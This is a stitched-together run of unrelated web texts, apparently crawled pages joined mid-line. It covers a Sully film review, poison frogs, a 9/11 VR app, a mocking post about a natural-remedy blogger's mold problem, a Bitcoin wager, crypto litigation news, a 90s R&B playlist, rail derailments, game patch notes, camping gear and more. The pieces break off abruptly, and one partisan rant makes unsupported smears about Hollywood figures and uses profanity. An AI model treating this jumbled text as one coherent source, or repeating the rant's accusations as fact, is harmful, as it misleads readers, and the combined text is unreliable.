Sully is the latest film from director Clint Eastwood, following up American Sniper with yet another film about an all-American hero. The film is based on the astonishing true story of Sully Sullenburger, a US Airways pilot who is forced to make an emergency landing on the Hudson River after a flock of birds destroy both of his plane’s engines. Sully somehow manages to successfully land the plane on the river and save all 155 lives on board. While this serves backdrop for the events of the film, the real meat of the story lies in the conflict between Sully and the NTSB, the National Transportation Safety Board, who are investigating whether or not Sully’s course of action in landing the plane was correct.
The conflict seems so manufactured though. Eastwood’s portrayal of the NTSB is so unnecessarily villainous and confrontational, bullish in their attempt to prove that Sully made the wrong choice in landing the plane on the Hudson. The NTSB is given no real reason to go after Sully so viciously, which lead to the drama feeling forced and over-the-top, and all the more difficult to become invested in.
The harsh treatment from the NTSB leads Sully to begin to question whether or not he actually made the right choice, if he is actually a hero, or simply a man who unnecessarily endangered the lives of 155 people. This is the portion of the story that Sully really excels at, and I would lay that success at the feet of Tom Hanks’ unsurprisingly excellent performance.
Hanks plays Sully with quiet and reserved nuance, almost underplaying the role. Sully is just an everyday guy who managed to pull of a miraculously feat, and he’s not quite sure how to deal with that. He doesn’t see himself as a hero like the rest of the world sees him, but as a man who was simply doing his job. Hanks channels all these aspects of the character beautifully, I just wish we got to dig a little deeper into the character psychologically.
Other than those surface level characteristics, the film never quite gave us a chance to get to know these characters. Sully is accompanied by his co-pilot Jeff Skiles (Aaron Eckhart) alongside all of the investigations, but other than the fact that Skiles supports Sully 100% and has an exceedingly epic mustache, I couldn’t tell you a damn thing about him. Eckhart gives a solid performance, but there isn’t anything there for him to dig in to. Sully’s wife Lorraine (Laura Linney) plays a small role in the film, but with just a few token conversations over the phone with her husband, her character feels entirely extraneous.
The majority of the issues in the film lie with its script, penned by Todd Komarnicki. The characters are under-written, the main conflict is oversold, and there is no real through line which connects the sequences together outside of the plane crash, which isn’t actually seen until its randomly plopped into the middle of the film (and then experienced about three more times by the time the film is over). There is no flow of events in the film. Honestly, you could rearrange the majority of scenes in the film in seemingly random order and not much would change.
The film looks nice at the very least. For a film that takes place mainly inside various hotel rooms, Eastwood and cinematographer Tom Stern manage to make the film visually pleasing. When it comes to the plane crash itself, the film knocks it out of the park. Outside of the hilariously bad CGI of the plane, and I’m talking SyFy original movie bad here, the crash itself is shot with such intense fervor that I found myself on the edge of my seat when it occurred, knowing full well the outcome. At least the first time it was shown. Eastwood elects to showcase the plane crash multiple times throughout the film, and it ends up feeling redundant.
There’s this lingering feeling that Sully could have been a much better film if it had a better script. Tom Hanks‘ acting is top-notch, with the rest of the cast is solid at the very least, and Eastwood has proven himself to be a talented director (American Sniper withstanding), but unfortunately neither of them could elevate Sully above its mediocre script.
If I had to choose once scene in the film that encapsulates all of its issues so perfectly, it would be the very final scene. Without going into spoilers, the NTSB reaches its conclusion, Eckhart quickly cracks a joke, and the film fades to black. That’s it. There’s no real resolution, no sense of closure, no emotional catharsis. The film simply ends. Not with a bang, not with a whimper, but with nothing. Which is fine I guess, but that isn’t exactly roaring praise now is it?
5/10
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Like this: Like Loading..."QUANTUM SHOT" #106
Bacchanalia of colors that can be lethal
Not all beautiful frogs depicted here are poisonous, but those who are - can be very deadly indeed. The most poisonous animal is not a snake or a spider. It's a beautiful little frog! "Most frogs produce skin toxins, but the dart poison frogs from Central and South America are the most potent of all. The golden poison frog, called terribilis (the terrible), is so toxic that even touching it can be dangerous. A single terribilis contains enough poison to kill 20,000 mice or 10 people. It is probably the most poisonous animal on Earth." (source)
Click to enlarge:
And finally, the aforementioned "Most Poisonous" Golden Poison Dart Frog:
"Mint" flavour:
Phyllobates terribilis, shown above, has enough poison to kill 100 humans (source)
"Their poison contains toxins that dull the nerves and produce heart and repiratory (sic.) failure. The skin of an adult P. terribilis has enough batrachotoxin to kill 20,000 mice, or 100 adult humans. Two-tenths of a microgram of batrachotoxin is lethal in the human blood stream and each adult P. terribilis contains nearly 200 micrograms."
Some of the Latin names of frogs depicted above:
(plus some toads were added for good measure)
- Dendrobates auratus
- Dendrobates azureus
- Ceratophrys ornata
- Mantella aurantiaca
- Phrynohyas resinifictrix
- Agalychnis callidryas
- Dendrobates pumilio
Images sources: Zoltan Takacs, Amy Snyder, Juan Manuel Renjifo, the rest from email: contact me if you know the photographer.
Permanent Link...
Category: Animals,NatureThere's a new virtual reality app that's likely to cause some controversy.
It's called "08:46," and it lets you experience the events of 9/11 from the perspective of one of the office workers in the North Tower of the World Trade Center.
The title is a reference to the exact time the first plane, American Airlines Flight 11, crashed into the North Tower, between floors 93 and 99.
The creators of this app say it took three months to make, using six people, in collaboration with two actors for voice and motion capture, to develop the application. If you have the second development kit of the Oculus Rift VR headset (or later), you can download and try the experience right now.
If you want a preview of what "08:46" is like, you can watch a brief two-minute introduction to the app in the video below. We've reached out to the France-based team of developers and we look forward to a response.
Update (2:30 p.m.): We heard back from the team's creative director Anthony Krafft, who answered all of our questions about the experience. Check out his answers here.I’m a compassionate person. I hate to see others suffering, even when they bring it upon themselves. But when the suffering person not only asks for it, but actively encourages others to engage in the same behavior and then gets burned in the act, I have to admit letting out an ironic laugh:
Modern Alternative Mama (MAMA) has lost her home to mold.
Why is this funny (in an ironic, “teachable moment” kind of way)? Take a look at one of MAMA’s most recent Facebook posts, linking to her website article on natural cleaning 1:
Bad Advice
In her home-cleaning article 1, MAMA recommends soaking in water, scrubbing with vinegar, baking soda, microfiber cloths, and five other methods that range from dubious to ineffective for cleaning mold. Much better methods exist, but they aren’t “natural”, so MAMA didn’t use them. Only one of her methods — scraping, is recommended by the Environmental Protection Agency 2.
Soaking in water is especially dubious. The EPA recommends water and detergent and — very important — drying things up right away. According to the EPA, mold is usually not a problem indoors, unless
“mold spores land on a wet or damp spot and begin growing”
Vinegar and baking soda have anecdotal support but don’t make the EPA list of what’s recommended and known to work. The EPA article contains a great deal of advice on dealing with mold and the dangers of letting it go untreated. Danger signs that indicate when to call in professionals are clearly pointed out. Never one to let science get in the way of folk remedies, we find this gem on MAMA’s web site:
“but really — they work.” Do they? Let MAMA answer this herself, via her web site:
The Aftermath
One might ask: how are things working out for MAMA and her family, who are reportedly suffering health problems from the mold? Well…
Yes… she’s been handling the problem “the natural way”. If you’ve read past MAMA articles on “detoxing”, you’ll know this involves using natural “pathways” such as pooping, vomiting, and sweating. Oh, and consuming lots of grains and juices.
As Winnie the Pooh famously said: “Oh, bother.”
Normally, my heart would go out to someone who’s just lost their home. But given the amount of dangerous information Modern Alternative Mama dispenses, I have to confess to a (heartless?) smug satisfaction that she’s reaping what she’s sown.
Sometimes, you just have to laugh.
References
(Please note: to prevent increasing search engine exposure to quack web sites, I use the excellent DoNotLink service to obfuscate hyperlinks to such sites).
(1) Top 10 Natural Cleaning Tools I Use (original MAMA article)
http://www.donotlink.com/bx8u
(2) A Brief Guide to Mold, Moisture, and Your Home
http://www.epa.gov/mold/moldguide.html#How
Legal Stuff
Images of screen snapshots of Facebook posts in a public forum are used in accordance with Title 17 U.S.C. Section 107, commonly known as “fair use law”. This material is distributed without profit with the intent to provide commentary, review, education, parody, and increase public health knowledge.
AdvertisementsIn late 2013, at the peak of Bitcoin‘s price, many economists started making wild accusations and predictions about the future of Bitcoin. One prediction that stood out among the others was the prediction of Boston University economist, Mark T. Williams, affectionately known in the Bitcoin community as “Professor Bitcorn.” He said that Bitcoin was a completely unsustainable and foolish idea as a monetary system, and that its value would fall to $10 within the first half of 2014. Then, in January of 2014, he narrowed his prediction even further, saying that Bitcoin’s price would be at $10 by June of 2014. Williams stated that:
“To assume currency can be computer generated, run in a decentralized manner and outside of the central banking system and controls is farcical and economically dangerous.”
The fact that Professor Williams believes that Bitcoin is unsustainable due to it being “computer generated” while simultaneously denouncing it for being “decentralized… and outside of the central banking system” is laughable considering the fact that the world’s central banks create money out of thin air by pressing a button on a computer. Most of the money in bank vaults today is not physical paper, it is a collection of numbers on a computer screen. To say that Bitcoin is “farcical and economically dangerous” because of its existence in the digital world is hypocritical at best and shows the pure arrogance of the mainstream economists. Pressing a button on a keyboard and spontaneously bringing limitless amounts of money, and therefore inflation, into existence is perfectly fine because the beloved central banks do it. However, algorithmically mining a scarce amount of bitcoins in order to sustain the currency’s purchasing power so it will remain useful is just utterly horrifying and unthinkable because it is done by individuals voluntarily working together, trying to achieve a more prosperous society.
June has now come upon us and, contrary to Professor Bitcorn’s overly-confident and completely unfounded prediction, the price of Bitcoin sits well above $600. Bitcoin has a long way to fall this month if Williams’ prediction is to come true.
A few days ago, Professor Bitcorn did a new interview with Coindesk. In this interview he stood partly by his prediction that, by June of 2014, bitcoin would be below 10 dollars per BTC. And by “partly,” I mean that he ignored his very specific price prediction of $10 by June and said that:
“I continue to stick to my 2013 prediction that bitcoin is grossly overpriced and the price will eventually adjust dramatically downward as the priced-for-perfection expectations set by bitcoin promoters cannot be met.”
No longer does Prof. Bitcorn say that we will be at $10, or any specific price, by any specific date, he merely says that at some point the price will go down. Hark! The prophet has spoken! And at some point in time the price of Bitcoin will go down! Clearly, Prof. Bitcorn is trying to stay away from the content of his actual prediction in 2013, and its narrowed version that he advanced in early 2014– which now he likely realizes was painfully inaccurate. Rather than admit his mistake, the professor is attempting to twist his own words in order to keep up his appearance as an expert economist. But making the general statement that Bitcoin’s price will drop at some point in the future is hilariously unscientific, which is ironic coming from a mainstream economist who likely believes in positivism in economics and ignores the core principle of human action. I suppose that if I say, “at some point in time during the course of human history, it will rain,” then I shall be able to call myself an expert meteorologist? It isn’t news that the price of Bitcoin wildly fluctuates; in fact, these fluctuations have become a way of life in the Bitcoin community and have been the source of grossly inaccurate and spurious trend “analyses” and predictions. However, volatility isn’t a sign that Bitcoin is not a viable monetary system. It is merely a symptom of a currency that presently lacks a wide rate of acceptance by the general population. Because the current user-base of Bitcoin is relatively small, a single transaction has a much more substantial effect on Bitcoin’s purchasing power than the effect that one transaction would have on the Dollar’s purchasing power. Additionally, the lack of acceptance isn’t an inherent characteristic of Bitcoin. And recent Bitcoin news shows an upward trend in its acceptance.
There are several more completely fallacious arguments made by Prof. Bitcorn for which we have no room to discuss here. These arguments involve beliefs that The Bitcoin Foundation is completely responsible for Bitcoin’s price trajectory and that international regulation is needed for Bitcoin to be “safe” for consumers to use. These arguments further show Professor Bitcorn’s ignorance on the subject of crypto-currency and allude to his ignorance in economics in general. However, that is no reason for sympathy. As long as Prof. Bitcorn continues to publicly make unfounded and invalid arguments on Bitcoin, he will be subject to the harshest criticism of the Bitcoin community; and rightly so.
However, I will attempt to give Professor Williams the benefit of the doubt. Yes, it is June and the Price of Bitcoin is well above $600 and continues to soar. But it is only the beginning of June. It is possible, although highly unlikely, that the price of Bitcoin could end up at $10 by June 30. So I propose a friendly Wager: If the price of Bitcoin is at or below $10 by June 30, I will pay Professor Williams the current dollar equivalent of 1 bitcoin, which is $672.21. If Williams’ prediction is wrong, however, and the price of Bitcoin is still above $10 by June 30, he must pay me 1 bitcoin as the price stands on June 30. If Professor Bitcorn somehow sees this article, and he truly believes in his economic expertise, then he should have no problem accepting this wager. What will the price of Bitcoin be at the end of June? Only time will tell.Not due on shelves until Oct. 15, the book from the embattled cooking star is one of two in the Top 10.
Paula Deen's forthcoming cookbook, Paula Deen's New Testament, has surged past best-sellers by the likes of Dan Brown, Stephen King and Game of Thrones writer George R.R. Martin to take the top spot on Amazon's sales charts.
The book charted in the 1,500s on Monday and by Wednesday it was at No. 18.
The Southern TV cook has faced widespread outrage and dwindling endorsement deals since a deposition was released last week in which she admitted to using a racial slur for African-Americans in the past, and discussed her wish to mount a "true Southern plantation-style" wedding.
Scheduled to hit shelves on Oct. 15, the book is Deen's first with Random House. Another Deen cookbook, 2011's Paula Deen's Southern Cooking Bible, currently resides at No. 7 on the best-sellers list.
In addition, five of the Top 10 books on the Amazon's movers and shakers list of books that have jumped the most in the past 24 hours are Deen-related.NEW YORK, Sept 8 (Reuters) - New York-based blockchain startup R3 Holdco LLC has sued rival company Ripple Labs Inc. over a contract to purchase Ripple’s digital currency XRP, according to a lawsuit filed in the Delaware Chancery Court on Friday.
R3 and Ripple are two of the most well known blockchain companies and are both backed by large banks.
In September 2016 the two companies had entered an agreement giving R3, the right to purchase up to 5 billion XRPs at a price of $0.0085 per unit at any point by September 2019, according to the lawsuit.
In June 2017 Ripple’s chief executive Brad Garlinghouse attempted to terminate the options contract through an email to R3’s chief executive David Rutter, according to the lawsuit.
R3 alleges that the contract does not give Ripple the right to terminate it unilaterally and is asking the court to declare that it is entitled to all its rights, including purchasing the XRP anytime over the next two years.
Ripple did not immediately respond to a request for comment.
XRP, which is a virtual currency that is traded against the U.S. dollar on cryptocurrency exchanges online, has soared in value to $0.21 since the companies entered in the options agreement, according to CoinMarketCap.com. This would make the option contract worth more than $1 billion.
The lawsuit comes as the value of cryptocurrencies such as XRP and bitcoin continues to rise. Bitcoin, one of the oldest and most established cryptocurrencies has more than quadrupled in value since December to over $4300.
Blockchain, which is best known as the system underpinning bitcoin, is a public online ledger of transactions maintained by a network of computers on the internet. Financial firms hope that the nascent technology can reduce the cost and complexity of burdensome processes such as international payments and securities settlement.
Both R3 and Ripple develop blockchain technology for banks and other financial institutions and had entered the options agreement during discussions about potential collaborations, according to the lawsuit.
R3 launched in September 2015 with the backing of nine of the world’s largest investment and its membership has rapidly grown to about 80 financial institutions. In May it raised $107 million from companies including Bank of America Corp, SBI Holdings Inc, HSBC Holdings Plc, Intel Corp and Temasek Holdings.
Ripple, which focuses on blockchain-based cross border payments, works with many large banks and is backed by firms including Standard Chartered Plc, Accenture Plc, and SBI Holdings. (Reporting by Anna Irrera)Hollywood, please fall into the ocean and never come back.
After decades of sexual abuse by Hollywood producer Harvey Weinstein was revealed by The New York Times, FULCRUM investigators gave a fresh look to some pre-election coverage and commentary which mentioned both John Podesta and Harvey Weinstein.
One article, from the Hollywood Reporter back in October, shines an ugly light on the close alliance between Hollywood, John Podesta, and the Clinton camp.
Although every line of their article is worth reading and analyzing, this part bothered me the most:
"Really enjoyed the time together," Katzenberg wrote March 12, 2015, to Podesta of a joint L.A. meeting with political consultant Andy Spahn. Spahn later wrote to campaign manager Huma Abedin and Podesta, saying Katzenberg would like to meet with Clinton in NYC. "She … probably should. She hasn't engaged with him in a while," Abedin replied to Podesta on March 25.
Jeffrey Katzenberg recently raised many millions for The Young Turks, a popular LA-based YouTube channel, so that they can continue their attacks on President Trump - and continue their lame dismissals and cover-ups of Democratic criminality.
The Wall Street Journal reported that The Young Turks plan to use the money to "double the size of its newsroom and business operations."
They should return that filthy Hollywood elite money, but you know they won't.
Again, Hollywood, please fall into the ocean. Take the pedophiles and Clinton cover-up freaks and witches "casting hexes" on Donald Trump with you. We try to avoid poor language here on FULCRUM - editorial policy - but Hollywood:
Go fuck yourselves.
America is waking up and our patience for sickos and liars in Hollywood has evaporated. We expect 2018 to be one of the worst years on record for the box office.This week, another collection of songs I grew up listening to — 90s R&B. Even though Spotify was straight player hating this week (Five Total songs? One Aaliyah album? RLY?), I think you’ll enjoy it just the same. Here’s the link. If you’d like to make any additions, send me the song via Spotify or leave a comment. Happy Friday!
SWV – Weak (A Cappella)
702 – Where My Girls At
SWV – Anything
Boyz II Men – It’s So Hard To Say Goodbye To Yesterday
Boyz II Men – In The Still Of The Nite (I’ll Remember)
Boyz II Men – Yesterday
Shai – If I Ever Fall In Love
Donell Jones – Shorty (Got Her Eyes On Me)
Az Yet – Hard To Say I’m Sorry featuring Peter Cetera
Mary Mary – Shackles (Praise You)
Boyz II Men – Water Runs Dry
Xscape – Just Kickin’ It – Explicit Version
Usher – Just Like Me
Destiny’s Child ( – No, No, No Part 2 (featuring Wyclef Jean)
Mariah Carey – Vision Of Love
Hi-Tek – Round and Round
Destiny’s Child – Bug A Boo (H-town Screwed Mix)
Jagged Edge – I Gotta Be
Usher – My Way
Changing Faces – Stroke You Up
Vanessa Williams – Save The Best For Last
Usher – You Make Me Wanna…
Lauryn Hill – Can’t Take My Eyes Off Of You
Erykah Badu – Tyrone – Live Version
Mary J. Blige – I’m Goin’ Down
Immature – We Got It
Bone Thugs n Harmony – Tha Crossroads
Erykah Badu – On & On
SWV – Right Here – Human Nature Radio Mix
Usher – Nice & Slow
Case – Touch Me Tease Me
Case – Faded Pictures
Destiny’s Child – Jumpin’, Jumpin’
Nicole Renee Harris – Strawberry
Mariah Carey – Dreamlover
Boyz II Men – Motownphilly – Original Version
Ginuwine – What’s So Different?
En Vogue – Giving Him Something He Can Feel
Groove Theory – Tell Me
Monica – The First Night
Zhané – Groove Thang
Boyz II Men – I’ll Make Love To You
Montell Jordan – This Is How We Do It
Michael Jackson – Remember The Time
Babyface – This Is For The Lover In You featuring LL Cool J, Howard Hewett, Jody Watley & Jeffrey Daniels
Janet Jackson – I Get Lonely
Donell Jones – U Know What’s Up – Album Version w/o Left Eye
Janet Jackson – Got ‘Til It’s Gone – Feat. Q-Tip and Joni Mitchell
Color Me Badd – I Wanna Sex You Up – Single Mix
Johnny Gill – Rub You The Right Way – 7″ Version
Dru Hill – How Deep Is Your Love
Ruff Endz – No More
– Shanice – it’s for you (from ”The Meteor Man”) (1993)
Jagged Edge – He Can’t Love U
Erykah Badu – Bag Lady – Radio Edit
R. Kelly – Feelin’ On Yo Booty
Jagged Edge – Promise
Zhané – Hey Mr. D.J. – Pronounced Jah-Nay Album Version
112 – Cupid
Whitney Houston – I’m Your Baby Tonight
Ginuwine – Pony
Maxwell – Sumthin’ Sumthin’: Mellosmoothe – Cut
Aaliyah – Age Ain’t Nothing But A Number
Adina Howard – Freak Like Me
Dru Hill – Tell Me
Mary J. Blige – You Bring Me Joy
TLC – Diggin’ On You
Mary J. Blige – Love Is All We Need
Destiny’s Child – Bills, Bills, Bills
R. Kelly – Bump N’ Grind
Toni Braxton – I Don’t Want To
Monica – Don’t Take It Personal (Just One Of Dem Days)
All-4-One – I Can Love You Like That
Mary J. Blige – You Remind Me
Next – Too Close – Dirty Version
Soul For Real – Every Little Thing I Do
Shanice – I Love Your Smile
Ginuwine – Same Ol’ G
D’Angelo – Untitled (How Does It Feel) (Edit)
Toni Braxton – He Wasn’t Man Enough
Deborah Cox – Nobody’s Supposed To Be Here
Bell Biv DeVoe – Poison
Tamia – So Into You
Mariah Carey – Sweetheart
Brian McKnight – Back At One
D’Angelo – Brown Sugar – Edited
Guy – Do Me Right
Jagged Edge – Let’s Get Married
Keith Sweat Featuring Athena Cage – Nobody – Featuring Athena Cage LP Version
Whitney Houston – Run To You
Changing Faces – G.H.E.T.T.O.U.T.
Mya – It’s All About Me
SWV – Rain
Janet Jackson – That’s The Way Love Goes
Lisa Stansfield – All Around The World
Tyrese – Lately
Nicole feat. Missy Elliott & Mocha – Make It Hot
Toni Braxton – You’re Makin’ Me High
Xscape – My Little Secret
Boyz II Men – Vibin’
Toni Braxton – Breathe Again
TLC – Creep
Az Yet – Last Night
Mya – Movin’ On
Mary J. Blige – Real Love
Toni Braxton – Un-Break My Heart
Monica – Why I Love You So Much
Soul For Real – Candy Rain
Destiny’s Child – Say My Name
Janet Jackson – If
Immature – Please Don’t Go
Keith Sweat – Twisted
Brian McKnight – Anytime
Jon B – They Don’t Know
Faith Evans – You Used To Love Me – Greatest Hits Version
R. Kelly – Your Body’s Callin’
Montell Jordan – Get It On Tonite
Ginuwine – So Anxious
Eric Benét – Spend My Life With You
Total – Can’t You See
Hi-Five – She’s Playing Hard To Get
SWV – I’m So Into You
R. Kelly – When A Woman’s Fed Up
K-Ci & JoJo – Tell Me It’s Real
New Edition – I’m Still In Love With You
En Vogue – My Lovin’
TLC – Waterfalls
Charles & Eddie – Would I Lie To You?
Whitney Houston – Heartbreak Hotel feat. Faith Evans and Kelly Price
Montell Jordan – I Like
Janet Jackson – Go Deep
Monica – Like This And Like That
Somethin’ For The People – My Love Is The Shhh!
SWV – You’re The One
Mariah Carey – Breakdown (Featuring Krayzie Bone & Wish Bone)
Jade – Don’t Walk Away
Tevin Campbell – Can We Talk
112 – Only You-Bad Boy Remix
Mary J. Blige – I Can Love You
En Vogue – Don’t Let Go
Brian McKnight – You Should Be Mine (Don’t Waste Your Time)
Brandy – Best Friend
R. Kelly – Down Low (Nobody Has To Know) featuring Ronald and Ernie Isley
Seal – Kiss From A Rose
Mariah Carey – Fantasy – Feat. O.D.B.
Aaliyah – At Your Best (You Are Love)
702 – Get It Together
Tyrese – Sweet Lady
Brandy – I Wanna Be Down
Brandy – Sittin’ Up In My Room
SWV – Weak
Mont |
-to-16 secondary has about 970 pupils, while a three-form secondary has about 450 pupils and a four-form primary has about 600.
Malcolm Trobe, interim general secretary of the ASCL, told the BBC: "At some smaller schools, the funding will become such that they would not be able to support their teaching infrastructure.
"They will not be financially viable.
"One-form entry primary schools, and three- to four-form entry secondary schools, are going to find it extremely difficult, especially in low-funded education authorities.
"This size of school is quite common, and they are under real threat.
"They are going to find it extremely difficult to provide a full curriculum and maintain the support staff infrastructure needed to run the school.
"It's all down to the cost pressures that have come home to roost - the unfunded pay rises, national insurance costs and pension contributions."
'Historic unfairness'
He said with continuing delays to the publication of the long-awaited new national funding formula for England's schools, due now to be introduced in 2018, were really struggling.
Education is devolved in Wales, Scotland and Northern Ireland, so the national governments deal with the funding of their own schools.
And some areas have greater numbers of smaller schools than others. In Oxfordhsire, nearly 40% of primary schools have fewer than 200 pupils, for example.
"The big, big issue is because [the Department for Education] is not doing anything until 2018, they really need to do something for schools who are going to fall off a cliff financially or run into a wall in 2017," said Mr Trobe.
He suggested schools might find solutions to their funding issues by sharing specialist teachers with a group of neighbouring schools.
Alternatively, they might choose to share some of their support services with other schools.
The Department for Education said: "In reality the schools budget has been protected and in 2016-17 totals over £40bn, the highest ever on record.
"The government's fairer funding proposals will ensure that areas with the highest need attract the most funding and end the historic unfairness in the system."Both derailments remain under investigation by the Federal Railroad Administration.
An accident report that BNSF filed with the agency blames the train operator for applying the dynamic brakes too rapidly, causing 25 cars to jump the tracks.
According to the report, the 112-car freight train was traveling south at 26 mph when it derailed at 8:45 a.m. It carried 20 hazardous material cars, including 15 carrying ethanol. Five of the tankers leaked a combined 20,413 gallons of alcohol.
About 75 people were evacuated and Hwy. 35 closed for about three hours as firefighters from as far away as La Crosse responded.
There were no fires or explosions, but emergency responders said the situation had the potential to be disastrous.
“We dodged a bullet,” said Stephen Schiffli, Buffalo County’s director of emergency management. “It should be a wake-up call.”
Locomotives use electric motors powered by a diesel generator to move trains; those motors can also slow a train with “dynamic braking,” a process similar to downshifting a car. If the dynamic brake is applied too rapidly, momentum at the rear can push forward cars off the track, which one former train operator likened to locking up the front brake on a bicycle.
The BNSF report also blames the train’s make-up, which former train operators say can be a factor when empty cars are followed by loaded ones.
There were no injuries reported in the derailment, which caused about $2.1 million damage to rail equipment and track. Those damages do not reflect the cost of monitoring the Mississippi River, which BNSF is paying for.
About 50 federal, state, and private-sector personnel were involved in the environmental response, and water testing is scheduled to continue through July.
There have been no documented cases of wildlife kills, said Mary Stefanski of the U.S. Fish and Wildlife Service.
Stefanski said responders believe most of the ethanol spilled into the railroad ballast, but long-term monitoring is required to determine whether it is seeping into the water.
A report filed by Canadian Pacific blames “sudden rupture due to over stressed rail” for the Jan. 26 derailment south of Brownsville, Minn.
A railroad spokesman said laboratory analysis of a piece of rail from the scene showed it failed as the train passed over it.
The 68-car train en route from St. Paul, Minn., to Kansas City was traveling 28 mph when 15 cars left the tracks, sending six tank cars and about 660 gallons of vegetable oil into the Mississippi River, according to the report.
Three of the derailed cars were carrying sodium chlorate, a strong oxidizing agent that poses significant health and safety issues when being loaded and unloaded, according to the Environmental Protection Agency. A small amount of the material spilled, though there was not what the EPA calls a "critical breach" and no sodium chlorate was detected in the river, according to the U.S. Fish and Wildlife Service.
There were six additional hazmat cars in the train, but reports do not specify what they were hauling and the railroad has declined to disclose that information, citing “security reasons.”
Wildlife officials noticed a thin sheen of oil on the water after the ice thawed in March but had not documented any harm to wildlife.
In both derailments, the engineer and conductor had been on duty for just short of eight hours, according to the railroad reports. Federal regulations generally restrict crews to 12 hours of duty per day.Hey guys! We just activated some new features in champ select to help you decide what to play. Notably, we're testing a handful of changes and we hope you'll give us some feedback! **** **FILTER BY POSITION** _We're replacing role filters (Assassin, Tank, Mage, etc.) with position filters (Top, Mid, Jungle, etc.)_ We think we can do a better job of helping you narrow down your choices when you're playing an off-position and our existing role filters don't serve that need very well. Position filters can help you find commonly-picked champions for whatever you're playing. * Displays a variety of champions for each position based on **data from the previous patch** * Every champion is in at least one filter * New champions will show up the patch after they're released We chose to use patch data to help us populate the filters because we want to avoid the data getting stale or players feeling like we're deciding what should be played where. **SORT BY MASTERY** _Sort champions by highest to lowest champion mastery points_ You can find your mains more easily when you sort by mastery. We're not showing things like current mastery level or tokens earned for now, but we may consider these in the future. This should still help you narrow down what you want to play to get the best match-up or synergy with your team. **FAVORITES** _Right-click champions to add as favorite by position and find them quickly in champ select_ You can **sort by favorites** to have them bubble up to the top of the grid and they work with the new position filters. If you play Diana at Jungle and Mid, add her as a favorite for both positions. Then, whenever you're filtering by mid champions, she'll show up - even if she isn't one of the suggested champs from the last patch. **HEXTECH CHEST FILTER** _See champions you haven't earned a Hextech chest with in non-ranked queues_ Now you should be able to easily find champions to play to earn those sweet Hextech chests. Since temptation is a leading cause of lost LP, we only show you this filter in non-ranked queues that are eligible for chests. **** We'd love your feedback on any issues you find while you're testing out the feature, and we'll see you on the Rift!
Title
Body Cancel
SaveBlack shoes are part of uniform in most schools in India
Indian children could soon be wearing canvas shoes to school rather than the heavy leather brogues, widely viewed as relics from the British colonial era.
Indian politician Maneka Gandhi is campaigning to ban the shoes as they are "unhealthy and uncomfortable" and "destroying" the feet of school-goers.
Reports say the drive is supported by two major school boards. Education policy-makers have not yet commented.
Black leather shoes are mandatory for students in most schools in India.
"Leather shoes are really bad for our children," news agency AFP quoted Ms Gandhi as saying.
These shoes, originally from Ireland and Scotland, were suitable for cold climates and not for the heat of India, she added.
Last year, Ms Gandhi wrote to the human resource development ministry protesting against the use of leather shoes.
The ministry then asked school boards for their opinion.
According to reports, the two main boards - Central Board of School Education (CBSE) and Indian Council for Secondary Education (ICSE) - have responded favourably to the suggestion.
Ms Gandhi says several schools in the southern city of Madras (Chennai) have already swapped leather shoes for canvas ones. A similar move is underway in the northern city of Chandigarh too, she says.
Maneka Gandhi is the daughter-in-law of former Indian premier Indira Gandhi and the widow of her younger son, Sanjay Gandhi.It is not always necessary to spend a significant amount of money on the camping gear which you want to buy. If you're looking for the best camping gear, you would be able to get it on a moderate budget as well. You need to understand that instead of buying each and every type of camping gear which you come across, you have to be selective. When you're selective in choosing according to the need, you would be able to get the camping gear which you need within the proper budget.
We would share with you five different items which you can include in your camping gear which would not cost a lot.
This is a heavy duty Hammock which can be easily attached to a pair of trees. The width of the hammock is 6.5 feet. The length of the hammock is around 10 feet. This ensures that there is plenty of space for you to relax.
In addition to that, it also has the carabiners made of aluminum which makes it easier for you to set up the hammock. The weight which can be handled by the hammock is around 2400 LBs. This makes it easier for you to utilize the hammock without having to worry about your weight.
Another great option for you to relax when you're out there campaign is the double sleeping bag which we would discuss now.
Also, it has a carrying bag along with it as well. This would ensure that when you're not using it, you would be able to easily fold it and utilize the smaller carry bag in order to carry it around.
The material which is used on the outer side is ripstop polyester. On the inner side, there is the softer material which ensures that you are at complete ease. Also, insulation is provided in the sleeping bag which ensures that you're not impacted by the weather outside. It is also water-resistant.
The sleeping bag can also handle quite extreme temperatures liked 5 F.
This is a double layered tent which is perfect for up to 4 people. It is completely water resistant. It has a dual design which ensures easy accessibility. It has a storage option on the inner side as well. In addition to that, the hooks, as well as the other accessories which are needed in order to erect the tent, are included as well. Owing to the high-density gauze in the tent, you can be sure that mosquitoes, as well as other insects, would be on the outer side. This ensures that you are completely comfortable while using the tent.
This towel is made from microfibres. This ensures that it is able to absorb a large amount of water from your body. You have to just wrap it around your body and it would be able to easily absorb the water. In addition to that, it is pretty lightweight and can be folded quite easily. This is another thing which you should include in your camping gear since it is affordable as well as pretty useful.
This is one of the most important gears which you should take along with you while camping. It requires 3 AAA batteries in order to run. You can easily wear it like a helmet which would keep your hands entirely free. It has four different lighting modes to use from.
It is also pretty lightweight and waterproof.
So, if you're looking for the best camping gear which is also affordable, these are the 5 things which you should always look into.The latest report of the UN population division of March 11, 2009 shows that the world's population is 6.8 billion, and is expected to exceed 9 billion by 2050.
When I was born in 1930, there were only 2 billion people on Earth. What has happened to cause this staggering increase, and for how long can it continue?
Back in 1972, the Club of Rome pointed out that there are indeed limits to growth, as exemplified by the finite limits to our reserves of fossil fuels. But we failed to realise that we are living under a glass ceiling that traps our carbon emissions and causes the Earth to warm up. It is an ill bird that fowls its own nest, but that is exactly what we are doing to our environment. We always used to think that the future was boundless; the sky's the limit. But it is slowly beginning to dawn on us that the phrase has acquired a sinister new meaning; today, the sky is the limit.
It is human activities, whether it be the farts of our domestic cattle and sheep, or the burning of our forests, or the emissions of our power stations, or the exhausts of our cars, or the production of cement, or the cremation of our bodies at the end of our days, that are all are contributing to global warming. What can we do about it?
Unfortunately, natural selection has ensured that we are well-endowed with selfish genes. We will always put self before family, family before community, community before country. Hence efforts to get international agreement on controlling global carbon emissions will always be bedevilled by the "after you" syndrome. With the Copenhagen Climate Change Conference set for December, can we expect any breakthroughs in this potential stalemate?This post originally appeared at Tom Dispatch.
The Trump administration seems intent on tossing recent history down the memory hole. Admittedly, Americans have never been known for their strong grasp of facts about their past. Still, as we struggle to keep up with the constantly shifting explanations and pronouncements of the new administration, it becomes ever harder to remember the events of yesterday, let alone last week or last month.
The Credibility Swamp
